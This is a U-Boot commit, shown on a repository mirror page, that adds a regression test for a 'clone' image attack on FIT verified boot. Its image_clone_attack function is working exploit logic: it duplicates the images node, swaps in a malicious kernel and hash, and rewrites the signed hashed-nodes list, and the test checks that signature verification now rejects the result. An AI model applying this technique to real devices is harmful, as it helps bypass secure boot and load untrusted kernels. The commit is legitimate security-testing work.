mirror of
https://source.denx.de/u-boot/u-boot.git
synced 2026-06-02 09:46:37 +03:00
tests: FIT: Add "clone" image attack image test
Related to the problem resolved with commit 2092322b31 ("boot: Add
fit_config_get_hash_list() to build signed node list"), add a testcase
for the problem as well.
Reported-by: Apple Security Engineering and Architecture (SEAR)
Signed-off-by: Tom Rini <trini@konsulko.com>
This commit is contained in:
@@ -372,6 +372,16 @@ def test_vboot(ubman, name, sha_algo, padding, sign_options, required,
|
||||
msg = 'Signature checking prevents use of unit addresses (@) in nodes'
|
||||
run_bootm(sha_algo, 'evil kernel@', msg, False, efit)
|
||||
|
||||
# Try doing a clone of the images
|
||||
efit = '%stest.evilclone.fit' % tmpdir
|
||||
shutil.copyfile(fit, efit)
|
||||
vboot_evil.add_evil_node(fit, efit, evil_kernel, 'clone')
|
||||
|
||||
utils.run_and_log_expect_exception(
|
||||
ubman, [fit_check_sign, '-f', efit, '-k', dtb],
|
||||
1, 'Failed to verify required signature')
|
||||
run_bootm(sha_algo, 'evil clone', 'Bad Data Hash', False, efit)
|
||||
|
||||
# Create a new properly signed fit and replace header bytes
|
||||
make_fit('sign-configs-%s%s.its' % (sha_algo, padding), ubman, mkimage, dtc_args, datadir, fit)
|
||||
sign_fit(sha_algo, sign_options)
|
||||
|
||||
@@ -14,6 +14,7 @@ FDT_END = 0x9
|
||||
|
||||
FAKE_ROOT_ATTACK = 0
|
||||
KERNEL_AT = 1
|
||||
IMAGE_CLONE = 2
|
||||
|
||||
MAGIC = 0xd00dfeed
|
||||
|
||||
@@ -274,6 +275,66 @@ def get_prop_value(dt_struct, dt_strings, prop_path):
|
||||
|
||||
return tag_data
|
||||
|
||||
def image_clone_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
|
||||
# retrieve the default configuration name
|
||||
default_conf_name = get_prop_value(
|
||||
dt_struct, dt_strings, '/configurations/default')
|
||||
default_conf_name = str(default_conf_name[:-1], 'utf-8')
|
||||
|
||||
conf_path = '/configurations/' + default_conf_name
|
||||
|
||||
# fetch the loaded kernel name from the default configuration
|
||||
loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
|
||||
|
||||
loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
|
||||
|
||||
# since this is the last child in images!
|
||||
loaded_fdt_name = get_prop_value(dt_struct, dt_strings, conf_path + '/fdt')
|
||||
|
||||
loaded_fdt_name = str(loaded_fdt_name[:-1], 'utf-8')
|
||||
|
||||
# determine boundaries of the images
|
||||
(img_node_start, img_node_end) = (determine_offset(
|
||||
dt_struct, dt_strings, '/images'))
|
||||
if img_node_start is None and img_node_end is None:
|
||||
print('Fatal error, unable to find images node')
|
||||
sys.exit()
|
||||
|
||||
# copy the images node
|
||||
img_node_copy = dt_struct[img_node_start:img_node_end]
|
||||
|
||||
# create an additional empty node
|
||||
empty_node = struct.pack('>I', FDT_BEGIN_NODE) + b"EMPTYNO\0" + struct.pack('>I', FDT_END_NODE)
|
||||
# right before the end, we add it!
|
||||
img_node_copy = img_node_copy[:-4] + empty_node + img_node_copy[-4:]
|
||||
|
||||
# insert the copy inside the tree
|
||||
dt_struct = dt_struct[:img_node_end-4] + \
|
||||
img_node_copy + empty_node + dt_struct[img_node_end-4:]
|
||||
|
||||
# change the content of the kernel being loaded
|
||||
dt_struct = change_property_value(
|
||||
dt_struct, dt_strings, '/images/' + loaded_kernel + '/data', kernel_content)
|
||||
|
||||
# change the content of the kernel being loaded
|
||||
dt_struct = change_property_value(
|
||||
dt_struct, dt_strings, '/images/' + loaded_kernel + '/hash-1/value', kernel_hash)
|
||||
|
||||
# finally, the main bug: change the hashed nodes to use the images clone instead!
|
||||
hashed_nodes: bytes = get_prop_value(dt_struct, dt_strings, conf_path + '/signature/hashed-nodes')
|
||||
print(f"got hashed nodes: {hashed_nodes}")
|
||||
nodes = hashed_nodes.split(b"\0")
|
||||
patched_nodes = []
|
||||
for node in nodes:
|
||||
new_node = node
|
||||
if node.startswith(b"/images/"):
|
||||
# reparent the node
|
||||
new_node = b"/images" + node
|
||||
patched_nodes.append(new_node)
|
||||
hashed_nodes = b"\0".join(patched_nodes)
|
||||
dt_struct = change_property_value(
|
||||
dt_struct, dt_strings, conf_path + '/signature/hashed-nodes', hashed_nodes)
|
||||
return dt_struct
|
||||
|
||||
def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
|
||||
"""Conduct the kernel@ attack
|
||||
@@ -419,6 +480,8 @@ def add_evil_node(in_fname, out_fname, kernel_fname, attack):
|
||||
attack = FAKE_ROOT_ATTACK
|
||||
elif attack == 'kernel@':
|
||||
attack = KERNEL_AT
|
||||
elif attack == 'clone':
|
||||
attack = IMAGE_CLONE
|
||||
else:
|
||||
raise ValueError('Unknown attack name!')
|
||||
|
||||
@@ -455,6 +518,8 @@ def add_evil_node(in_fname, out_fname, kernel_fname, attack):
|
||||
elif attack == KERNEL_AT:
|
||||
dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
|
||||
hash_digest)
|
||||
elif attack == IMAGE_CLONE:
|
||||
dt_struct = image_clone_attack(dt_struct, dt_strings, kernel_content, hash_digest)
|
||||
|
||||
# now rebuild the new file
|
||||
size_dt_strings = len(dt_strings)
|
||||
|
||||
Reference in New Issue
Block a user